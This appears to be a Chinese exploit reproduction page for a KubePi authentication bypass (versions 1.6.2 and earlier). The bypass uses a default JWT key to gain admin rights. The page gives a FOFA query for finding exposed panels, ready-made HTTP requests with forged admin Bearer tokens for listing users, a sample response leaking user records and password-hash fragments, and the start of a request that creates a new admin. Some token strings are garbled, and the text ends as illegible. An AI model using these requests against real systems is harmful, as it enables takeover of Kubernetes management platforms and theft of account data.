

K2-1KubePi-Kubernetes 可视化管理面板-PermissionAC

漏洞描述:

KubePi 存在权限绕过漏洞，攻击者可通过默认 [JWT](#) 密钥获取管理员权限控制整个平台，使用管理员权限操作核心的功能。

影响版本：

```
KubePi <= 1.6.2
```

网站图片:



网络测绘:

fofa语法:

```
title="KubePi" || body="/kubepi/css/" || body="kubepi doesn't work" || header="KubePi" || banner="KubePi"
```

漏洞复现:

payload:

```
POST /kubepi/api/v1/users/search?pageNum=1&pageSize=10 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyYXllIjoiYWRtaW4iLCJ1c2VhbnR:TmFTZSI6IkJkFkblWlucXNOcm0fZSI6IiJlJlJlWFBpPCtCI6In1ncBvcnRAZml0MmNsb3VklmNvbSIsImxhbmddiYW
Content-Type: application/json
Accept-Encoding: gzip
Content-Length: 2
```

 $\{\}$

效果图:

读取用户名密码列表

Request		Responses
<pre> 1 POST /kubepi/api/v1/users/search?pageNum=1&pageSize=10 HTTP/1.1 2 Host : 192.168.1.100:8000 3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 4 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1Ym91IjoiaWVtYWtlN4lCjUuaWNrTmFtZTSiKfkbWluaXN0cmF0b3IiLCJlbWVpbGljaGVudCI6Imxhbmd1Ym91IjoiemgtQ041LCJyZXNvdXJzZWV1cmIpc3Npb25zIjp7fSwiaXBGIpmlzdHJhdG9yIjp0cnVILCJtZmEiOms1ZW5hYmx1IjpmYXxzZSwic2VjcmV0IjoiaWwiYXBiwcm92ZWQiOmZhbnHN1fX0.Xx5myfq_7jyeYvrjqsoZ4BB4GoSkfL02NvbKCQjlD8 5 Content-Type: application/json 6 Accept-Encoding: gzip 7 Content-Length: auto : 2 8 9 {} </pre>		<pre> 1 HTTP/1.1 200 OK 2 Content-Type: application/json; charset=utf-8 3 Set-Cookie: SESS_COOKIE_KUBEPI=2cbcb0d1-95Expires=Sun, 18 Oct 2048 08:07:53 GMT; Max-Age=3600 4 Date: Thu, 21 Dec 2023 13:22:13 GMT 5 Content-Length: 5010 6 7 { 8 "data": { 9 "total": 7, 10 "items": [11 { 12 "apiVersion": "", 13 "kind": "", 14 "createdAt": "2023-12-19T08:39:36.1Z", 15 "updatedAt": "2023-12-19T08:39:36.1Z", 16 "builtin": false, 17 "createdBy": "admin", 18 "name": "qwe", 19 "description": "", 20 "uuid": "b66fc710-07a3-409d-8dab-f5e3-42b16bb1", 21 "nickName": "zxc", 22 "email": "abc1234567@qq.com", 23 "language": "zh-CN", 24 "isAdmin": true, 25 "authenticate": { 26 "password": "\$2a\$10\$s98dpggeTSCQ", 27 "token": "" 28 } 29 }, 30 { 31 "apiVersion": "", 32 "kind": "", 33 "createdAt": "2023-12-19T08:39:36.1Z", 34 "updatedAt": "2023-12-19T08:39:36.1Z", 35 "builtin": false, 36 "createdBy": "admin", 37 "name": "qwe", 38 "description": "", 39 "uuid": "b66fc710-07a3-409d-8dab-f5e3-42b16bb1", 40 "nickName": "zxc", 41 "email": "abc1234567@qq.com", 42 "language": "zh-CN", 43 "isAdmin": true, 44 "authenticate": { 45 "password": "\$2a\$10\$s98dpggeTSCQ", 46 "token": "" 47 } 48 }, 49 { 50 "apiVersion": "", 51 "kind": "", 52 "createdAt": "2023-12-19T08:39:36.1Z", 53 "updatedAt": "2023-12-19T08:39:36.1Z", 54 "builtin": false, 55 "createdBy": "admin", 56 "name": "qwe", 57 "description": "", 58 "uuid": "b66fc710-07a3-409d-8dab-f5e3-42b16bb1", 59 "nickName": "zxc", 60 "email": "abc1234567@qq.com", 61 "language": "zh-CN", 62 "isAdmin": true, 63 "authenticate": { 64 "password": "\$2a\$10\$s98dpggeTSCQ", 65 "token": "" 66 } 67 }, 68 { 69 "apiVersion": "", 70 "kind": "", 71 "createdAt": "2023-12-19T08:39:36.1Z", 72 "updatedAt": "2023-12-19T08:39:36.1Z", 73 "builtin": false, 74 "createdBy": "admin", 75 "name": "qwe", 76 "description": "", 77 "uuid": "b66fc710-07a3-409d-8dab-f5e3-42b16bb1", 78 "nickName": "zxc", 79 "email": "abc1234567@qq.com", 80 "language": "zh-CN", 81 "isAdmin": true, 82 "authenticate": { 83 "password": "\$2a\$10\$s98dpggeTSCQ", 84 "token": "" 85 } 86 }, 87 { 88 "apiVersion": "", 89 "kind": "", 90 "createdAt": "2023-12-19T08:39:36.1Z", 91 "updatedAt": "2023-12-19T08:39:36.1Z", 92 "builtin": false, 93 "createdBy": "admin", 94 "name": "qwe", 95 "description": "", 96 "uuid": "b66fc710-07a3-409d-8dab-f5e3-42b16bb1", 97 "nickName": "zxc", 98 "email": "abc1234567@qq.com", 99 "language": "zh-CN", 100 "isAdmin": true, 101 "authenticate": { 102 "password": "\$2a\$10\$s98dpggeTSCQ", 103 "token": "" 104 } 105] 106 } 107 } </pre>

创建管理员账号密码

```
POST /kubepi/api/v1/users HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1Ym91IjoieWRTaW4lCjUuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3JlLCJlbWFpbGl6InR1cChBvbnRAZmlOMmNsNb3VklMvbSIsImxhbmddYW
Content-Type: application/json
```

[illegible]